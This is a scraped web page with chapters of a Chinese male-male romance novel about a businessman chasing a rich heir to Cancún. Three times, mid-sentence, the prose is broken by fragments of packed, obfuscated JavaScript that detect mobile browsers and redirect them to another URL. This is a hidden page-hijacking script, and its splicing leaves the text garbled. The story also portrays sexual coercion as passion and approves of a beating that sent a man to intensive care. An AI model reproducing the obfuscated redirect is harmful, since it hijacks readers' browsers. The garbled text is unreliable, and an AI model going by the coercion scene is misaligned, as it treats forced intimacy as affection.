d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409046|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 戚时冷哼一声:“想得美!” 长腿一迈,走去里面,抓住正打电话发疯的某人手腕,拽着人就往外走,经过何棣坤,头也不回:“没什么事的话,何老三我带走了,再会。” 何湛程不停回头,不可置信地瞪着何棣坤喊:“老二!老二!他妈的何棣坤!你是不是人?!你也卖我?!” 何棣坤站在原地,无奈一叉腰,耸了耸肩:“我没办法啊,谁让他是你老婆呢。” 何湛程气得不行,正要破口大骂这两个狼心狗肺的卖弟贼,戚时脚步却蓦地停住,大脑宕机缓了好几秒,忽地一把将何湛程推开,气势汹汹疾步冲过去问何棣坤:“你刚才说什么?” 何棣坤笑眯眯:“弟夫啊,你不是做零的那个吗?” 戚时恼羞成怒,冲人唾液横飞地咆哮:“老子一米九哪里长得像是做零的!!!” 何棣坤闭眼抬手一抹脸,看戏不嫌热闹,下巴冲某只正要缩着脖子逃走的程老鼠一抬:“你老公说的啊,你还是第一次,对不?你看你俩,多纯爱啊!” 戚时三两步又冲过去逮老鼠,一把将何湛程提溜起来,劈头盖脸一通吼:“你脑子是月球做的吗!!什么事都往外说!” 何湛程也闭眼抬手一抹脸,只求保命:“我没说,真的,我只是问他做没做过零。” 戚时根本不信,继续吼他:“那他怎么知道的!!” 何湛程被喷满脸的口水,也瞪着他喊:“他聪明呗!我们家的人都聪明,我有什么办法?!” 戚时冷哼一声,扭头对何棣坤说:“就这一次,但很快就不是了。” 何棣坤嗤笑,根本不信:“不可能,我们何家的男人就没有做零的。” 戚时自尊心受到严重侵犯,将何湛程推到人面前,清清嗓:“你说,你跟他说。” 何湛程装傻充愣:“我说啥?” 戚时瞪他:“说你求着我的那一次。” 何棣坤诧异:“他求你什么?” 何湛程不应,挽住戚时的胳膊就要走:“好了二哥别闹了,我跟你走好了,我们回燕京吧,我给你刷马桶还不行嘛,真是的!” 戚时被拐走了,铁面无情纠正道:“不止给我刷,整栋楼所有的马桶都归你刷。” 何湛程忍着怒火,笑容灿烂:“行,都行,反正我们赶紧离开这个是非之地吧。” 何棣坤才不会放过这么新鲜好玩儿的事,拦臂挡住他们去路,笑眯眯看向何湛程:“老三,你求他什么?” 何湛程正气凛然:“按摩呗,不然呢?” 何棣坤又问戚时。 戚时手背都要被旁边人指甲抠出血了,不情不愿地皱着眉,“嗯……”了一声。 “我知道了,”何棣坤点点头,“但我不太信。” 何湛程冷嗤一声:“我管你信不信!” “所以,”何棣坤站在他俩中间,一胳膊搂一个,笑道:“你们俩谁也不能走。” 戚时皱眉,问了句“为啥”,何湛程倒是没什么大反应,他巴不得继续逍遥人间,谁要回去给戚老二刷马桶。 “因为——” 何棣坤宣布:“我要亲眼看见他求你,我才信!所以,弟夫你就留下来和我们一起度假吧!” “艹!何棣坤你是不是有病!” “艹!何老二你是变态吧?!” 被枪口钳制住的两个人异口同声地骂了出来。 38. 第38章 何棣坤邀请戚时去他海景别墅住,戚时不想跟这种一言不合就拿枪怼自己脑袋的疯子打交道,但又担心他好容易逮住的兔崽子跑了,于是半情不愿地从同街的酒店收拾好行李,火速搬家住到了何老二家里。 是的,他就住在同街的酒店。 来坎昆将近一周,能碰上何湛程纯粹是靠运气。 他不懂西班牙语,英语也说不利索,可他不想告诉身边人他在做什么,只有茉莉帮他订机票和酒店时才知晓他的具体行程,他还对她撒谎,说自己有重大急事出差。 可恨这个时代太便捷,出差也要开线上会议,他上午下午都忙,只能每天起大早,沿着海岸线晨跑,看看能不能遇上某人出来散步;每天中午去吃不同餐厅,意图制造偶遇;傍晚他再去海里游泳或者在海滩散步,经过无数日光浴躺椅,却没一个是他要找的人。 裴玉说的没错,他确实不了解何湛程,否则,他早该知道少爷是个晚睡晚起、生活作息严重颠倒的夜猫子。 少爷自家有超大露台与泳池,随身携带会做沪上本帮菜的私人厨师,联想起少爷那一身雪白皮肤,就会意识到少爷本身深居简出,鲜少出来晒太阳。若非那夜何棣坤举办的深夜party惹怒了住在他对门的旅客,他大半夜失眠,听到走廊有几个人在议论什么“Chinese”、“super rich young guy”、“name Dikun He”,他断断续续能听懂几句,尤其是“He”的发音很重,和中文的“何”没区别。 他半存疑地去找酒店前台打听同街小路尽头处、那家坐落在半岛上超大海景别墅的主人,用手机翻译和对方一字一句交流,前台抱歉地称她只知道别墅主人是来自中国的富豪,姓何,并提醒他那片半岛浅水湾区是别墅主人的私人活动范围,寻常游客不允许靠太近,然而这几句对他来说就已经足够。 难怪找不到人,他想,原来何老二也这么家大业大。 早上强行给自己补了个觉,醒来冲澡刮胡子敷面膜,一整日口味清淡,傍晚临出门前还嚼了俩小时口香糖。 知道何家哥俩昼伏夜出,他特地等到傍晚日落时分才去别墅附近转悠,然后他就看到何棣坤和何湛程兄弟俩搂着一群男男女女,意气风发地坐着超跑喝酒欢闹,显然又是要去某地嗨皮。 那一瞬间,独他一人被排离在那群人纸醉金迷的繁华世界之外,身处异乡,无限的孤独与落寞如潮水般袭来,他沉默驻足在原地,望着飞驰在沿海岸马路上眨眼就消失不见的炫酷跑车,在“继续追上去”和“离开”之间犹豫了几分钟,最后还是打车追上去了。 出租车当然干不过超跑,在机场转站时,他临时买票也耽误好些功夫,戚时几次跟丢,一下飞机就立刻雇了个会说中文的华裔随行导游,让导游小哥开车带着他去墨西哥城夜生活最丰富的街区,不辞辛苦一家一家娱乐场所不断推门进去找,终于到凌晨四点多,他花光身上最后一点现金,步入那所开在地下的、废旧工业设计风格的超大型夜店,在人山人海的舞池里精准定位到某只怀抱两个男模忘情摇摆的兔崽子。 这一路颠沛流离历经千辛万苦,他怎么还能够再松手? 呵,他必须要把人带回家锁起来! 何湛程好奇问他怎么找到自己的,戚时眼皮也不抬一下,说,纯运气。 何湛程忽地又摘掉他压在头上的棒球帽,问他怎么把脑袋剃得跟高中一样,戚时眼神躲闪,说,我乐意。 何湛程盯了他一会儿,那审视探究的目光搞得戚时很不自在,正借口要回屋补觉,何湛程倏地笑起来,拉着他手,问他要不要去自己房间歇着。 “我房间露台上有双人躺椅和大吊篮,新买的几双限量版联名款球鞋也都还没穿,不去看看?” “不去。” 戚时冷冷地回,然后两只脚十分诚实地跟着那只穿着雪白浴袍的小妖精进屋了。 其时日上三竿,艳阳高照,戚时困得睁不开眼,他一天一夜没睡好,满脸疲惫地踏进屋,正往床边走,忽地又被视野开阔的拱门型露台景观所吸引。 长腿疾步走过去,居高临下,凝神眺望这座岛屿崖下堆积着的黑礁石与无边无际的海浪,心胸无限开阔畅快。 整栋海景别墅装修成地中海风,室内摆着单人暖黄色沙发,墙面装饰着船锚壁画与蓝白陶罐,戚时斜身倚在阳台,一抬胳膊,肌肉紧实的小臂拂过一层薄薄白色半透明的亚麻帷帐,习惯性绷紧的神经瞬时松懈下来。 脚底露台铺着海蓝色马赛克几何图案地砖,偌大藤编躺椅铺着粗糙拼布艺坐垫,正对着脚底蒂芙尼蓝色的浅湾美景,洁净的米白色墙面攀爬着绿藤植被,右墙角落一棵橄榄树旁轻轻晃荡着架巨型摇篮……赤陶色的树盆,悬挂在檐下晃动的珍珠贝壳风铃,矮木桌上的铁艺烛灯颈被调皮的屋主人系了两条大航海图案桑蚕真丝带,斑斓蝴蝶一样迎风飞舞。 太过惬意的度假生活,戚时晒了会儿太阳,倦意袭来,转身踱步回室内,忍不住瞥一眼床头柜前摩洛哥风镂空金属架支撑起的彩色玻璃罩台灯—— 嗯,这玩意儿全靠一根镶金粗铁丝扭成,打人不疼。 然后放心踏实地闭上眼,一头扎进某人那张喷香柔软的大床里,埋脸在人枕头里猛吸两口气,扭头冲一进门就跑去里屋翻箱倒柜的兔崽子喊一句“你鞋直接装好拿出来就行了,咱俩鞋码合适,我就不试了!”,接着,听着窗外传来的阵阵海浪声,安详地拉过被子昏迷过去。 似乎睡了两三分钟,又好像过了两三个小时,身旁人一直没动静,全世界又剩下他自己,戚时在沉睡中愈发惴惴不安,猛地睁眼醒来,从床上腾地坐起,正准备再跑去外面找人,一转眼,兔崽子正支着胳膊倚靠在他枕边,浴袍半裸不穿,露着大片胸前雪白肌肤,面若桃花般冲他风骚地笑。 “老婆,你刚才在梦里喊了三十五遍我的名字。” “哦。”戚时面不改色地又躺了回去。 看来他至少睡了三个小时。 习惯性伸出胳膊,正想把兔崽子揣怀里狠狠嘬两口,蓦地察觉哪里不对,戚时定神一看,他戴在两只手腕上的手表和手串全被摘走了! “手串我放起来了,那不是你该拿的东西,”何湛程脸色变得倒快,笑意深不见底,“手表我也帮你摘了,因为想送你一个新的。” 说着,扭身从床头柜上拿出两块外形差不多的机械手表,表盘如星盘,一个是暗红色闪电纹,一个暗蓝色闪电纹,轴心是两半颗心,很普通,市面常见三四百块的东西,但—— 这显然是一对情侣手表。 “看看,喜不喜欢。” 戚时不懂何湛程要搞什么鬼,伸手接过戴在腕上,头也不抬地哼声问:“你不是桃花正旺呢么,怎么不给你那两个男朋友戴?” 何湛程懒得理戚老二这些小心思,自己也利落地戴上手表,疾速发问:“你说你刚到第一天就找到我了,这话真的假的?” 戚时辗转抬臂,认真欣赏着他的便宜货新手表,毫无心机地回答:“真的啊。” 何湛程冷不丁就被一股猛烈的电流灌入手臂,如重针创骨,惊得人心脏一跳一跳。 何湛程脸色变得极臭。 许若林那个骗子,说好电流不强呢!他整条胳膊都麻了! 但初次实验有了心理准备,何湛程清清嗓,又快速问:“你喜欢我么?” 戚时恶笑着俯身凑过来,獠牙一露,在何湛程下巴重重地咬了一口,留下两排整齐的齿痕。 “喜欢死了,不然我为什么来找你,嗯?” 这下倒没被电,何湛程愤愤抬手擦掉下巴上的口水,但他搞不准这种阴阳怪气的语调更偏向真心还是假意,于是干脆问:“那你爱我吗?” 戚时讶然,看怪物似的盯他:“青天白日的,你想什么美事儿呢?” 何湛程瞪着眼直板板地躺倒在床上没吭声。 他被这猝然猛烈起来的电流电得说不出话,脑袋几乎都要冒烟儿了。 好半晌,戚时见他不太对劲,凑过来拍两下他脸,问他咋了,又笑道:“至于么,伤心成这样?” 何湛程抽搐两下,呛了口气,立刻扭头问:“你嫌我脏么?” 戚时抚在他脸庞的手指一顿,笑容淡下去。 “你是大少爷,我哪里还敢嫌弃你?” 何湛程默然。 他整条胳膊都被电得没知觉了,神经也渐趋麻痹,他咽了咽突然有点干涩的喉咙,安静在原地缓了好半天,然后摘下尚自涌动的手表,摔回床头抽屉里,起身就走。 戚时还是在介意。 戚时凭什么介意? 身后人拦腰一搂,何湛程猝不及防,整个人摔进戚时怀里。 男人倾身压上,乌云般将他笼罩,密密麻麻的碎吻雨点般落在他耳边,嗓音喑哑:“程儿,随便你的心分给谁,但你人得是我的,这是我们一开始就说好的,你和我睡过了,就得做我的人。” 浴袍被剥下,两|腿被分开,戚老二硬往里挤,何湛程一股无名火充斥胸腔,立刻愤怒挣扎起来。 “不是我和你睡过了,是你被我睡过了!你没资格跟我谈条件!还不快放开我!” “不放,”戚时将他四肢钳制住,沉眸盯他,“这是你欠我的!” “你情我愿的事,”何湛程瞪他喊,“没什么谁欠谁的!” 戚时冷笑,猛扑上去咬住他嘴,强迫身下人同自己接吻。 “那就算我欠你的,一千次一万次,先赊两周的,随便你记我账上!” 何湛程紧闭着眼,倔强地别过脸:“我不!” “由不得你!” 戚时大力捏住他下巴,逼他张嘴,命令道:“舌头伸出来。” 何湛程冷着脸,死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409047|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板一条,不肯理他。 戚时掌心四处游离,故意骚扰他的**,身下人越强装冷淡,他就越妒火中烧。 一双喷火的眸子隐怒笑着,讥讽道:“动啊,怎么不动了?之前不是挺骚的么?身子都熟透了,还说没在勾引我?还是你在想别人?嗯?是在想许若林?还是在想你那些模样稀奇古怪的男宠?他们有老子长得周正?有老子懂你哪里最想要?” …… …… 何湛程身躯微微颤栗,眉头紧蹙,牙齿咬得死紧,不松半句口。 他并不是敏感的人,却完全抵御不了戚时的挑|逗,盛怒之下,居然还能对这个畜生有反应,他自己也羞耻万分。 可这是唯一一个!唯一一个他给过机会将自己压在身下的男人,当初百般依从,极尽所能地去取悦,现在,那几分真心的情谊却成了对方挖苦嘲讽自己的倚仗,好啊,他何湛程终于自食苦果了,可他不在乎自己将要遭受什么,他只想一刀把这个狗男人给捅死! 千疮百孔都不足够!! 身子任人折叠摆弄,滚热的泪珠就这么屈辱地从眼尾流了下来,何湛程面无表情一动不动地躺在戚时身下,像具没有感情的死尸,那张总笑意迷离的脸,忽地化作一颗无比骇人的骷髅头,黑黢黢的眼洞里,穿插过冷漠无情的水流。 犟种。 犟脾气。 偏偏又令人拿他没办法。 戚时心疼不已,连忙偃旗息鼓,替何湛程穿好衣服,将人轻轻抱在怀里,不敢搂太紧,怕人喘不过气,又不敢搂太松,怕人突然脾气发作又干他一顿。 只好手掌不停揉着对方头发,软声哄: “崽儿,哥错了,我们不哭了,不哭了……” 何湛程哽咽一声:“你是傻逼。” “我是傻逼,我当然是傻逼!”戚时连忙道,“我从小就是傻逼!” “你该死。” “我当然该死!”戚时替他愤愤喊:“我不该死谁该死?” “那你就去死啊!”何湛程怒声咆哮出来。 “我本来想死的,”戚时叹了口气,“又怕你心疼,我舍不得。” 何湛程:“……” 何湛程埋头在戚时胸膛吸了两口气,将眼泪全蹭人衣服上,终于缓过劲儿来。 然后猛地蹿起身将人扑到,伏身张嘴就对着戚时的右肩膀咬了下去。 戚时早有预料但来不及反抗,他洗完澡后只穿一件薄薄的无袖黑背心,大片肌肤裸露在外,何湛程这属狗的心太狠,一点都不知道疼他,他肩膀在转眼之间被咬出两排血淋淋的齿痕。 “嘶——”戚时疼得皱起了眉,忍不住抬手捂住伤口。 何湛程坐起身,两腿跨在他腰间,冲他甜甜地笑着,本来有几分俏皮的犬牙上沾着几滴血,又显出几分狠辣阴鸷来。 戚时瞪他:“这下消气了?” 何湛程哼一声,不理他,起身下床就往外走。 戚时盯着兔崽子那两条白得发光的小腿,皱眉问:“大中午的衣服都不换,上哪儿去?” 何湛程拧开门,头也不回地踏入走廊:“你管我,我找我的亲亲男朋友发骚去。” 戚时蹭地从床上跳起来,鞋都来不及穿,疾步冲过去一把将人拎回来墩屋里,大门砰地一关,横身堵在门口,抱臂瞪他:“我还没死呢!” 何湛程舔了舔牙,冷笑:“臭不要脸,我们早就分手了。” 戚时也冷笑:“我也没说我是你男朋友啊。” 何湛程眉心一沉,正要开口,就听对方趾高气扬地说:“我说了,我们是新型奴隶主和奴隶的关系,你敢再跑一个试试?” 何湛程气笑了,抬腿就给他一脚:“你无不无聊,我没同意,这事儿不算!” 戚时有点恼:“你已经答应过要跟我回燕京了!” 何湛程一脸无所谓:“我胡说八道的。” 戚时磨着牙笑:“我不管,反正我当真了。” 何湛程认真严肃道:“戚时,我真的没法跟你走,你当真也没用。” 戚时一顿,不太情愿地问:“怎么,你在这边有事?” 何湛程拨指一撩刘海,潇洒道:“对啊,我男朋友们都在这边啊,我这个做老公的怎么能离开啊?” 戚时一口白牙咬得稀碎,说:“行。” 何湛程挑眉:“嗯?” 戚时伸出手指,一下下戳着对方眉心,将何湛程脑袋点得跟个不倒翁似的,恨恨道:“何老三,你给老子等着瞧,别以为全世界就你是个宝贝似的。” 何湛程不解:“什么意思?” 戚时狞笑一声,扬手一撩背心,啪的甩在何湛程脸上,赤着膀子露一身结实腱子肉,推开门,昂首阔步就往外走。 “既然你这么喜欢嘚瑟自己有人爱,那咱俩就比比,半天之内,谁勾搭上的人最多。” 39. 第39章 何棣坤戴着墨镜,正哼着歌,驾驶着一架通体漆黑的直升机,从私人岛屿往坎昆沙滩的别墅天台上飞。 不经意间,余光一瞥,鹰隼般的目光瞬间锁定距别墅五里外、那片游客密集的白色沙滩。 他探头眯了眯眼。 一座红条纹巨型遮阳伞下,并排铺着白毛巾的两张日光浴躺椅,两个正喝酒晒太阳的、没穿衣服的半裸男。 左边裸男,一条湿淋淋的包臀紧身黑泳裤;左边裸男,微风吹动菊花碎蓝底大裤衩。 一个青皮寸头,一个爆炸鸡窝头,正分别惬意地伸展着他们的两条白亮大长腿,面带微笑地享受着,这份不断有路人游客过来搭讪他们的美好下午时光。 黑泳裤仰头喝着冰镇啤酒,菊花蓝裤衩手里摇着一杯冒泡香槟,二人桌边摆着美酒鲜果,纸、笔、垫纸板,及两台播着黑屏白字计数器的iPad。 每向他们走来一个搭讪者,黑泳裤或者菊花碎蓝裤衩就抬手在iPad增加一个数,双人并肩而躺,不时闲聊两句,举杯相碰,顺便互相监督。 各自手边摆着装半满的马赛克玻璃啤酒杯,专门用来压搭讪者递来的电话纸条,省的对方作弊。 但又为了避免两方见色起意,背着自己偷偷跟路人甲乙丙搞在一起,二人就游戏规则达成高度一致: 规矩是,俩人只准收电话,不准把自己的电话给出去,时间截止到傍晚六点十五开始退潮,二人将自己收到的纸条交给对方手里,核对数目。 胜者,有权决定是否让菊花碎蓝底大裤衩跟黑泳裤回国。 所以—— 戚时沉眸喝了口啤酒,舔了舔沾着啤酒花的嘴角,心想,这不只是一场魅力的较量,更是关乎他接下来的幸福。 如果不能把何湛程带回去天天给他刷马桶,他戚老二的人生还有什么意义可言? 他势必要将人弄到手!! 戚时蹭地站起身,甩手扔掉干毛巾,站在沙滩上活动筋骨,准备开始他第二轮沿海岸游泳表演。 他三点半开始的第一轮游泳,刚出水就立刻吸引来十个爱慕者,当时何湛程趴在椅子上发懒睡觉,半天才收集了两个电话,然后兔崽子就学着他模样,也绕着沿岸游了一圈,马上收获九个搭讪者,一直持续到现在,偶尔有人来搭讪他,也偶尔有人来搭讪兔崽子,数量倒很平均,导致对方纸条数永远比他多出一个。 正要走,腿还没迈出两步,就听身后人劝他:“二哥,别去了,这会儿水太凉了,万一感冒就不好了。” 戚时纳闷何湛程怎么突然这么关心他,心里还有点小感动,扭头笑说:“没事儿,我身体好,不嫌水凉。” “我嫌,”何湛程颇为无赖地晃了晃脚丫子,说,“我不想去了,你也不准去,不然我就随便给谁打个电话,让他们过来帮我全身擦防晒霜。” 戚时:“……” 他就知道!!! 但见对方满不在意地说这种话,他不免又有点伤心。 他不是那种介意交往对象有过去的人,介意现任有前任,一听就是那种几把很短、缺乏自信的小米粒男人做派。 当初他刚和蒋灵在一起时,蒋灵前男友拿着她的几张私密床照给他发短信,张口就是两百万,他没报警,好脾气地把那小子约出来,抄起他最衬手的钢棍,连揍带抢的把人打进了ICU,扔下五百万医药费,派专业诉讼律师拿侵权合同堵住那小子的嘴,干脆利落地替她把污点抹掉。 他从未和蒋灵提起,她也没必要知道。 他只要求他们在一起时,她眼里、心里都有他,这就足够了。 但何湛程却从不把他戚时放在眼里。 少爷太年轻,也太狂妄,家大业大,背景雄厚,即便胡作非为,也有一堆人跟在他屁股后面替他兜底,无条件保他平安。 在沪上惹了某省长的表侄,少爷就能跑到燕京来求他戚老二的庇护,在燕京惹毛了他戚老二,转眼就坐着私人飞机跑来墨西哥找他那位脾性更不好惹的二哥度假。 枪口面前,谁敢惹? 无法无天,更无人能约束得了他。 二十来岁,一个成年雄性X欲最旺盛的年纪,少爷与人做.爱如日常穿衣吃饭,张口闭口就是在和谁谁暧昧、想和谁谁上床,一张迷离笑脸千变万化,不负责、不承诺、更不讲理,当初他鼓起勇气说在一起,何湛程百般怜惜地抚摸着他脸,想也不想就应了,可那晚和他刚亲热完还不到两分钟,这人就又跑去和许若林卿卿我我。 那他呢? 他算什么? 少爷胯|下千万个男宠中的一个么? 何湛程究竟懂不懂,他在意的真的是许若林吗? 可就凭少爷那宁死不改的臭犟性子,他也只能说自己在意的是许若林了。 戚时没再往海边走,转身低头捡毛巾甩在肩上,在旁边人得意目光的注视下,拿上手机,头也不回地往别墅那边走。 “程儿,咱俩就到这儿了,你玩儿吧,我先回了。” “干嘛,这就走了?”何湛程颇为扫兴,起身扒着椅子冲人背影喊:“你怎么这么没志气,再多等会儿呗!说不准过几小时你纸条就比我多了呢!” 戚时缓缓回头,平静地和他对视,一字一顿地说: “我说,咱们结束了,我要回燕京了。” 何湛程愣住在原地,扶在椅子上的十根手指微微发抖,他咽了咽喉咙,有点无措道:“那、那……” 他不知道自己要说什么。 可,他本来不就希望事情这样发展么? 戚时,这个他何湛程本以为是生平最难泡的男人,终于还是让他泡到了。 他亲到了这个男人的嘴,摸过了这个男人的身子,他们两人有过一段亲密无间的时光,所有该干的、不该干的,他们也都干过了,如今,曲终人散,他何湛程又在不舍些什么? 不—— 他很快就意识到了。 没有流下过真心眼泪的分手,不是一件好的艺术品。 何湛程倏地攥紧椅子,瞪着远去的人,冲人喊:“你走呗!你走了才好呢!你走了,我才能和我的男朋友们开心快活呢!” “随便。” 男人背影笔直而硬挺,平静声线波澜不起,似乎任何风吹浪打都牵动不起他一丝一毫的情绪。 这才是戚时,真正的戚时。 一个位高权重掌控整个集团的上位者,才不会拘泥于儿女情长。 何湛程按捺下心中突然涌起的倾慕之情,猛地扭过头,抓起手机就给他二哥打电话。 “喂,”他二哥那边传来轰隆隆的嘈杂声,冲他笑喊,“真是稀罕了,你小子忙着谈恋爱咋还有空惦记我啊?” 何湛程忍着脾气,问:“刚才天上飞过去的那只傻鸟是你么?你监工回来了?” 他二哥:“对啊,我正在天台降落呢,你有事儿?” 何湛程冷哼一声,说:“一分钟内,你叫人把戚老二那间客房锁死。” 他二哥笑了,一眼看穿出情况:“咋啦?你俩吵架了?他受不了你了,想带着行李跑路啊?” 何湛程阴着脸:“那你去不去?” 他二哥似乎敬了个礼,回声洪亮:“Yes,sir!半分钟内做到!” 砰的一声,路旁椰林晃动着几只浣熊的尾巴,树上突然掉落一颗脆壳大椰子,无人理睬。 戚时赤着脚,全身上下就一条刚遮到大腿根的黑色泳裤,贴着膏药的右肩搭着条白毛巾,他一脸平静地推门走进何棣坤海景别墅前院的大花园,正在浇花的园丁和两个抱着洗衣盆路过的女佣热情地问候他,戚时谁也没搭理,大步直奔楼内。 头顶天台嗡嗡响着,停着何棣坤那辆噪音渐小的直升机,戚时无心上去欣赏,在一楼客厅外间拐角按了电梯,给茉莉打电话,让她给他订机票回国。 茉莉:“好的,您那边事情是处理完了吗?” 戚时:“没处理,也不用处理了。” 他现在唯一需要处理的就是自己几近疯掉的情绪。 即便如此,也比强行修正那位顽劣到骨子里彻底没救的纨绔少爷好一百倍! “还有一件事。” “嗯,您说。” 戚时走进电梯,抬手摁三楼键:“你联系一下航空公司,我要买架飞机——不,两架,一架飞机和一架直升机。” 茉莉那边沉默几秒,然后试探问:“戚总,无论从一次性|交易价还是后期养护来看,这都是一笔不小的数目,我想冒昧问一下,您想买飞机是打算用来?” 戚时:“上班。” 茉莉:“……” 戚时出电梯,一边疾步往自己房间走,一边理所当然地说:“京城堵车这么严重,老子想开架直升机上下班咋啦?至于飞机,嗯,以后出差方便。” 茉莉劝道:“戚总,京城上空是不会允许您随便乱飞的,您这理由说不通,董事长那边也不会——” “不用跟我哥说,”戚时打断道,停在门口,拧了两下把手没拧开,皱了下眉,说:“老子又不是没钱,算我私人的,京城不让乱飞,老子去别处飞不成么?老子去大草原上飞不行?” 茉莉无奈:“您现在情绪似乎不太稳定,等您回来我们再议吧。” 戚时气得砰一拳头捶上门:“你是不是想造反?” 茉莉顿了顿,突地犀利发问:“戚总,您是去找三少了吧?你们是又吵架了吧?您脸上的伤也是让三少给打的吧?还有您的头发,实在太显年轻了,但不太符合您现在的身份,为集团形象着想,我建议您从今往后还是继续留短发吧。” 戚时:“……” 扔下句“别忘了帮我买票”,火速挂断电话。 环顾四望,正准备上哪儿找个铁锤子,把这突然不好使的破门给砸了,何棣坤一身迷彩军靴,耳根后别着支烟,长臂一抡,肌肉暴涨,拽五楼扶栏往里一荡,动作敏捷地跳进来三楼走廊。 何棣坤气定神闲理了理衣摆,两手插裤兜,一脸笑意地朝他走来。 “弟夫,怎么了,发这么大火儿,心情不好?”头一歪,招呼着:“走,咱哥俩楼下喝点儿?” 戚时立刻幻视自己和何老大的初见。 九天前,他怒气冲冲站在何家门口要人,喊得口干舌燥,嗓子都哑了,临近傍晚,终于大门缓缓打开,何闽轩西装革履出现在院子中央,姿态完美得像幅人像画一样,遥遥望着他,一脸平和笑意。 那老狐狸伸手往里一摆,说:“时兄千里迢迢的来,别因为一点小事就伤了咱们之间的和气,走吧,我请你喝茶。” 何老大跟何老二,一个请喝茶,一个请喝酒,一个故意晾他半天才姗姗来迟,一个故意使坏锁他卧室门不让他走—— 呵,这俩人都不是什么好鸟! 当然,何湛程,何老三,青出于蓝而胜于蓝,取两位哥哥之糟粕,摒两位哥哥之精华,那就更不是什么好鸟了! 戚时沉着脸,盯着何棣坤,眉间浮起几分真怒:“我不清楚,原来这就是你们何家的待客之道?” 何棣坤“哎呀”一声,哥俩好似的搭上他肩膀:“弟夫你看这话说的,多见外啊!你又不是客人,你是我们何家人啊!” 戚时不客气甩掉人胳膊,冷声呵斥:“滚开!谁是你们何家人,你赶紧给老子把这破门打开,咱们再也不见!!” 何棣坤轻啧一声,倚身靠在墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409048|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,低头燃上支烟,余光上下瞄他两眼。 打量的视线从头到尾,再从脚到头,忽地,轻喷一口烟,笑着又啧一声,然后,冲戚时竖了个表达赞赏的大拇指。 戚时被何老二这赤裸又轻挑的目光给羞辱到了。 同为无赖,戚时深知自己跟这人硬碰硬没好处,只好强憋着火气,瞪着对方:“看完没,看完就给老子把门打开!” 何棣坤聋子似的,懒懒软塌着肩膀,手指夹下烟,扭头问他:“你怎么称呼我?” 戚时冷冷道:“何棣坤。” 何棣坤眯起眼,连忙晃晃食指:“No,no,no,弟夫,我之前告诉过你的。” 戚时翻了个大白眼,心想这一大家子都是神经病,压制着脾气说:“我跟你弟弟已经没关系——不,我们从一开始就不是恋人的关系,所以不管你是起哄也好,还是误会了什么,现在都已经没有必要。我现在是以你何家客人的身份,请你帮我把门打开,咱们不是一个世界的人,我现在只想回到属于我的地方。” 何棣坤笑了,从裤兜摸出盒黄金叶,抽出一支烟递过来。 戚时莫名其妙,接过来叼嘴里,伸手找他要打火机。 何棣坤亲自过来给他打火。 “这些天,他很想你。” 戚时叼烟的动作忽地一颤,随即淡笑:“那又怎样?” 何棣坤挑眉:“你不了解他,他这人从不——” 戚时冷笑:“我当然不了解他!我如果了解他,我从一开始压根就不会碰他,更不会让他碰我!” 何棣坤冷眼睨着他:“说完了么?” 戚时莫名心虚:“说完了。” 何棣坤夹烟的手指虚抬起,隔空指他一下:“我说话的时候,不喜欢被人打断。” 戚时也终于上火了,沉声反问:“所以呢,你想说什么?当哥哥想哄弟弟开心,把一根烂透顶的红线硬栓到我的手里,睁着眼说瞎话,告诉我他何老三这种滥情的人有多喜欢我、多想我,把老子骗得回心转意了,好让老子继续回去被他玩弄于股掌之间,这就是你们何家人的作风!自私自利,无情无义!你当我戚老二是傻子吗?我他妈吃你这一套?!” 何棣坤语气颇为随意:“我管你吃不吃这一套,我只信自己看到的。我在还没见过你的时候,就已经认识你了。” 戚时猛吸两口烟,重重吐出浓雾:“少放屁,你从哪儿认识我?” 何棣坤笑:“从他的眼睛里。” “……” “老三其实很怕无聊,他的眼睛总是无神的,尤其无聊的时候,整个人死气沉沉的,好像随时会腐烂掉。”何棣坤吸了口烟,缓缓吐出,讲述道:“但最近他好像就没无聊过,哪怕他一个人待着,他那双眼睛也总是朝虚空里看着什么,完全沉浸在某处,一点也不像他。我送礼物给他,他也不和任何人亲近,再漂亮的女人,再英俊的男人,他都放不进眼里,所以我猜,他一直想着的应该是某个人。” 戚时立刻就破案了,又一拳砰地捶在门上,冲人恶狠狠道:“我说呢,程儿长得这么乖,怎么年纪轻轻就这么混账呢,原来是上梁不正下梁歪,他抽电子烟也是你这个好哥哥教的吧?!” 何棣坤耸耸肩:“他成年了啊,成年人玩玩就玩玩了,而且老三远比你想象中要聪明,他自己有判断是非的能力,烟也不是我主动给他的,是他看到我在院里抽,突然走过来找我要,我没给,拿了个电子烟给他玩儿,这已经算很负责任了好吧?” 戚时眉头紧锁,好容易安放下去的心,又被人三言两语给吓得紧紧提了起来。 一腔熊熊热烈的正义火焰在他胸膛里愤怒地燃烧。 他怎么能把他家程儿继续放在何老二身边? 